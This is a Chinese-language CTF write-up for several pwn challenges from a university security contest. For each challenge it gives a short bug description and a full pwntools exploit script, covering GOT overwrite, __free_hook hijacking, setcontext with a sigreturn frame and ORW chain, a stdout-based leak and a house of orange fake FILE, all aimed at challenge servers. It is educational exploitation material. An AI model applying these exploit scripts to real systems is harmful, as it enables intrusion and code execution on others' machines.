高校战“疫”网络安全分享赛pwn部分wp
高校战“疫”网络安全分享赛pwn部分wp
easyheap
刚复现的第一题,并且在刚开始的时候连洞都找不到…可真是当头一棒。
漏洞在申请的大小大于0x400时,return。这时ptr[i]
没有被释放,接下来就是常规劫持ptr[i]堆块上的指针为got表。修改got表。来实现利用。
```python
# -*- coding: utf-8 -*
from pwn import *
from LibcSearcher import *
context.log_level = 'debug'
context.arch = 'amd64'
p = 0
def pwn(ip,port,debug,flaag):
elf = ELF(flaag)
global p
if(debug == 1):
p = process(flaag)
else:
p = remote(ip,port)
def add(size,content):
p.sendlineafter("Your choice:\n","1")
p.sendlineafter("this message?\n",str(size))
p.sendafter("content of the message?\n",content)
def free(index):
p.sendlineafter("Your choice:\n","2")
p.sendlineafter("item to be deleted?\n",str(index))
def edit(index,content):
p.sendlineafter("Your choice:\n","3")
p.sendlineafter(" the item to be modified?\n",str(index))
p.sendafter("content of the message?\n",content)
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
add(0x18,'\xff'*0x18)
free(0)
p.sendlineafter("Your choice:\n","1")
p.sendlineafter("this message?\n",str(0x500))
p.sendlineafter("Your choice:\n","1")
p.sendlineafter("this message?\n",str(0x500))
edit(0,p64(0)+p64(0x21)+p64(0x6020d8))
edit(1,p64(0x6020f0)+p64(0x602100)+p64(0)+p64(elf.got['free'])+p64(0x200)+p64(0x602108)+'/bin/sh\x00')
#gdb.attach(p)
edit(0,p64(0)+p64(0x21)+p64(elf.got['free']))
edit(1,p64(elf.plt['puts']))
edit(0,p64(0)+p64(0x21)+p64(elf.got['puts']))
free(1)
puts_addr=u64(p.recv(6).ljust(8,'\x00'))
libcbase_addr=puts_addr-libc.symbols['puts']
system_addr=libcbase_addr+libc.symbols['system']
binsh_addr=libcbase_addr+libc.search("/bin/sh\x00").next()
edit(3,p64(system_addr))
free(4)
print "system_addr=>",hex(system_addr)
print "libcbase_addr=>",hex(libcbase_addr)
p.interactive()
if __name__ == '__main__':
pwn('121.36.209.145',9997,0,'./easyheap')
lgd
开沙盒的堆溢出,老实说之前没遇到过这种。
在edit时read的长度为add时写在bss段字符串的长度。 造成了堆溢出。 利用堆溢出挟持__free_hook
为setcontext
,从而劫持rsp,rip
,从而劫持程序,在利用ORW来泄露flag
# -*- coding: utf-8 -*
from pwn import *
from LibcSearcher import *
context.log_level = 'debug'
context.arch = 'amd64'
p = 0
def pwn(ip,port,debug,flaag):
elf = ELF(flaag)
global p
if(debug == 1):
p = process(flaag)
else:
p = remote(ip,port)
def add(size,content):
p.sendlineafter(">> ","1")
p.sendlineafter("______?\n",str(size))
p.sendafter("yes_or_no?\n",content)
def free(index):
p.sendlineafter(">> ","2")
p.sendlineafter("index ?\n",str(index))
def show(index):
p.sendlineafter(">> ","3")
p.sendlineafter("index ?\n",str(index))
def edit(index,content):
p.sendlineafter(">> ","4")
p.sendlineafter("index ?\n",str(index))
p.sendafter("c___new_content ?\n",content)
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
p.sendlineafter("what is your name? \n","aaa")
add(0x50,"\xff"*0x200)
add(0xf8,'\xff'*0x200)
add(0x68,"\xff"*0x200)
free(1)
free(2)
edit(0,"A"*0x58+"B"*8)
show(0)
p.recvuntil("BBBBBBBB")
main_arena=u64(p.recv(6).ljust(8,"\x00"))
libcbase_addr=main_arena-(0x7f9f177d8b78-0x7f9f17414000)
free_hook=libcbase_addr+libc.symbols['__free_hook']
edit(0,"A"*0x58+p64(0x101)+p64(main_arena)+p64(free_hook-0x40)+p64(0)*28+p64(0x100)+p64(0x71)+p64(free_hook-0x33))
add(0xf8,'\xff'*0x200)
add(0x68,'\xff'*0x200)
add(0x68,'\xff'*0x200)
edit(3,p64(0)*4+'\x00'*3+p64(libcbase_addr+libc.symbols['setcontext']+0x35))
frame = SigreturnFrame()
frame.rdi = 0
frame.rax = 0
frame.rsi = (libcbase_addr + libc.symbols['__free_hook'])
frame.rcx = (libcbase_addr + libc.symbols['__free_hook'])
frame.rdx = 0x2000
frame.rsp = (libcbase_addr + libc.symbols['__free_hook'])
frame.rip = libcbase_addr+ 0x00000000000bc375 #: syscall; ret;
payload = str(frame)
edit(2,payload)
print "payload len=>",hex(libcbase_addr+libc.symbols['setcontext']+0x35)
#gdb.attach(p)
free(2)
pop_rdi_ret=0x4023b3
pop_rsi_ret=libcbase_addr+libc.search(asm("pop rsi\nret")).next()
pop_rdx_ret=libcbase_addr+libc.search(asm("pop rdx\nret")).next()
open_addr=libcbase_addr+libc.symbols['open']
read_addr=libcbase_addr+libc.symbols['read']
puts_addr=libcbase_addr+libc.symbols['puts']
flag_addr=free_hook+15*8
orw=p64(pop_rdi_ret)+p64(flag_addr)+p64(pop_rsi_ret)+p64(72)+p64(open_addr)+p64(pop_rdi_ret)+p64(3)+p64(pop_rsi_ret)+p64(0x603060)+p64(pop_rdx_ret)+p64(0x30)+p64(read_addr)
orw+=p64(pop_rdi_ret)+p64(0x603060)+p64(puts_addr)+"/flag\x00"
p.sendline(orw)
print "main_arena=>",hex(main_arena)
p.interactive()
if __name__ == '__main__':
pwn('121.36.209.145',9998,0,'./attach')
woodenbox2
相较于之前的题,这个题是我感觉如果我去我有可能做出来的
漏洞点在更改chunk时可以任意大小修改,难点是泄露,没有泄露函数,通过main_arena
来将_IO_2_1_stdout_-0x43
加入0x70的fast bin attack
中,通过更改_IO_2_1_stdout_
的_flags
为0xfbad1800
(即刻输出),且更改_IO_write_base
为要泄露的地址来泄露地址,然后用house of orange
来shell。
# -*- coding: utf-8 -*
from pwn import *
from LibcSearcher import *
context.log_level = 'debug'
context.arch = 'amd64'
p = 0
def pwn(ip,port,debug,flaag):
elf = ELF(flaag)
global p
if(debug == 1):
p = process(flaag)
else:
p = remote(ip,port)
def add(size,name):
p.sendlineafter("Your choice:","1")
p.sendlineafter("length of item name:",str(size))
p.sendafter("the name of item:",name)
def edit(index,size,name):
p.sendlineafter("Your choice:","2")
p.sendlineafter("index of item:",str(index))
p.sendlineafter("length of item name:",str(size))
p.sendlineafter("new name of the item:",name)
def free(index):
p.sendlineafter("Your choice:","3")
p.sendlineafter("the index of item:",str(index))
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
add(0xf8,'a')
add(0x68,'a')
add(0xf8,'a')
add(0x10,'a')
free(0)
edit(0,0x70,'a'*0x60+p64(0x170)+p64(0x100))
free(0)
free(0)
add(0xf8,'a')
add(0x58,'\xdd\x25')
edit(1,0x100,'A'*0xf8+p64(0x71))
add(0x68,'aa')
payload=p64(0)*6+'\x00'*3+p64(0x00fbad1800)+p64(0)*3+'\x88'
gdb.attach(p)
add(0x68,payload)
libcbase_addr=u64(p.recv(6).ljust(8,'\x00'))-(0x7f9c190818e0-0x00007f9c18cbd000)
IO_list_addr=libcbase_addr+libc.symbols['_IO_list_all']
system_addr=libcbase_addr+libc.symbols['system']
print "system_addr=>",hex(system_addr)
fake_file=p64(0)+p64(0x61)
fake_file+=p64(0)+p64(IO_list_addr-0x10)
fake_file+=p64(1)+p64(2)
fake_file+=p64(0)+p64(libcbase_addr+0x18cd57)
fake_file=fake_file.ljust(0xd8,"\x00")
fake_file+=p64(libcbase_addr+0x3c37a0-8)
fake_file+=p64(0)
fake_file+=p64(libcbase_addr+libc.symbols['system'])
edit(2,0x50+len(fake_file),'a'*0x50+fake_file)
p.sendlineafter("Your choice:","1")
p.sendlineafter("length of item name:",str(0x100))
p.interactive()
if __name__ == '__main__':
pwn('121.36.215.224',9998,1,'./woodenbox2')
EasyVM
这个题的话,读懂这个启动函数就通杀了。
主要函数分析
if ( *(_BYTE *)a1[8] == 0x11 )
{
printf("%p\n", a1[1]); //打印str[1]
++a1[8];
}
-------
if ( *(_BYTE *)a1[8] == 0x80u )
{
a1[guanjian((int)a1, 1u)] = *(_DWORD *)(a1[8] + 2);//这部分可以修改任意str位置的值为a1[8]+2的值
a1[8] += 6;
}
-------
if ( *(_BYTE *)a1[8] == 9 )
{
a1[1] = dword_305C; //将str[1]==dword_305c
++a1[8];
}
---------
case 4:
puts("Maybe a bug is a gif?");
dword_305C = v5;
//将dword_305c赋值v5,通过调试可发现v5为libc的一个地址,与str[8]==9配合可以打印一个程序地址
ptr[8] = &unk_3020;
break;
----------
if ( *(_BYTE *)a1[8] == 0x53 )
{
putchar(*(char *)a1[3]);//可用来str[3]泄露地址
a1[8] += 2;
}
----------
if ( *(_BYTE *)a1[8] == 0x54 )
{
v1 = (_BYTE *)a1[3];
*v1 = getchar();//用来任意地址写
a1[8] += 2;
}
---------
if ( *(_BYTE *)a1[8] == 0x99u )
break;//退出循环
这样一分析程序就很简单了。思路就是先泄露程序地址,构造payload利用putchar来逐个打印libc地址,然后利用getchar任意地址写,这里攻击__free_hook
来实现shell。
# -*- coding: utf-8 -*
from pwn import *
from LibcSearcher import *
context.log_level = 'debug'
context.arch = 'i386'
p = 0
def pwn(ip,port,debug,flaag):
elf = ELF(flaag)
global p
if(debug == 1):
p = process(flaag)
else:
p = remote(ip,port)
def add(content):
p.sendlineafter(">>> ",'1')
p.send(content)
def free():
p.sendlineafter(">>> ",'3')
p.sendlineafter(">>> ",'4')
add('\x09\x11\x99')
p.sendlineafter(">>> ",'2')
p.recvuntil("0x")
free_got=int(p.recv(8),16)+0x28fc
print "free_got=>",hex(free_got)
free_addr=''
for i in range(4):
payload ='\x80'+chr(3)+p32(free_got+i)+'\x53'+'\x99'+'\x99'
add(payload)
p.sendlineafter(">>> ",'2')
free_addr =free_addr+ p.recvuntil('1.Produce',True)[-1:]
print "free_addr=>",hex(u32(free_addr))
libc=ELF("/lib/i386-linux-gnu/libc.so.6")
libcbase_addr=u32(free_addr)-libc.symbols['free']
free_hook=libcbase_addr+libc.symbols['__free_hook']
system_addr=libcbase_addr+libc.symbols['system']
one_ge=[0x3ac5c,0x3ac5e,0x3ac62,0x3ac69,0x5fbc5,0x5fbc6]
for i in range(4):
payload ='\x80'+chr(3)+p32(free_hook+i)+'\x54'+'\x99'+'\x99'
add(payload)
p.sendlineafter(">>> ",'2')
p.send(p32(system_addr)[i])
payload='\x80'+chr(16)+'sh\x00'+'\x99'+'\x99'
add(payload)
p.sendlineafter(">>> ",'2')
free()
p.interactive()
if __name__ == '__main__':
pwn('buuoj.cn',20035,1,'./EasyVM')
Shotest_Path_v2
这个的话非预期了
# -*- coding: utf-8 -*
from pwn import *
from LibcSearcher import *
context.log_level = 'debug'
context.arch = 'amd64'
p = 0
def pwn(ip,port,debug,flaag):
elf = ELF(flaag)
global p
if(debug == 1):
p = process(flaag)
else:
p = remote(ip,port)
def add(index,size,name,nums,station,distance):
p.sendlineafter("options ---> ","1")
p.sendlineafter("Station ID: ",str(index))
p.sendlineafter("Station Price: ","10")
p.sendlineafter("Name Length: ",str(size))
p.sendafter("Station Name: \n",name)
p.sendlineafter("connected station: ",str(nums))
for i in range(nums):
p.sendlineafter("station ID: ",str(station[i]))
p.sendlineafter("station distance: ",str(distance[i]))
def free(index):
p.sendlineafter("options ---> ","2")
p.sendlineafter("Station ID: ",str(index))
def show(index):
p.sendlineafter("options ---> ","3")
p.sendlineafter("Station ID: ",str(index))
add(0,0xc8,'\xff'*8,1,[1],[1])
add(1,0xb8,'\xff'*8,1,[1],[1])
add(2,0x68,'\xff'*0x20,1,[1],[1])
show(2)
p.interactive()
if __name__ == '__main__':
pwn('121.37.181.246',19008,1,'./Shortest_path')
总结
更简单的house of orange
fake_file=p64(0)+p64(0x61)
fake_file+=p64(0)+p64(IO_list_addr-0x10)
fake_file+=p64(1)+p64(2)
fake_file+=p64(0)+p64(libcbase_addr+0x18cd57)#'/bin/sh\x00'
fake_file=fake_file.ljust(0xd8,"\x00")
fake_file+=p64(libcbase_addr+0x3c37a0-8)#_IO_str_jumps-8
fake_file+=p64(0)
fake_file+=p64(libcbase_addr+libc.symbols['system'])
有沙盒的堆溢出
堆溢出的利用基本都是劫持函数的指针使其执行某一个函数,而栈溢出的利用基本就是劫持寄存器从而劫持程序。 当只有堆溢出的利用需要沙盒时,我们需要一个函数来劫持寄存器。实现劫持程序
原理
#include <ucontext.h>
#include <stdio.h>
int done = 0;
int main()
{
ucontext_t context;
getcontext(&context);//将所有寄存器信息保存到context
if (done)
{
printf("return from getcontext,exit\n");
return 0;
}
done = 1;
setcontext(&context);//还原寄存器
return 0;//never goto here!
}
编译指令gcc 1.c -o ceshi
利用思路
利用堆溢出漏洞使其执行setcontext(&context)
函数,context
是我们可控制的内存,这样在执行后我们就劫持了所有的寄存器从而劫持流程,之后利用ORW来读写文件。
上一篇: 攻防世界----mfw
下一篇: 攻防世界web高手进阶18(mfw)
推荐阅读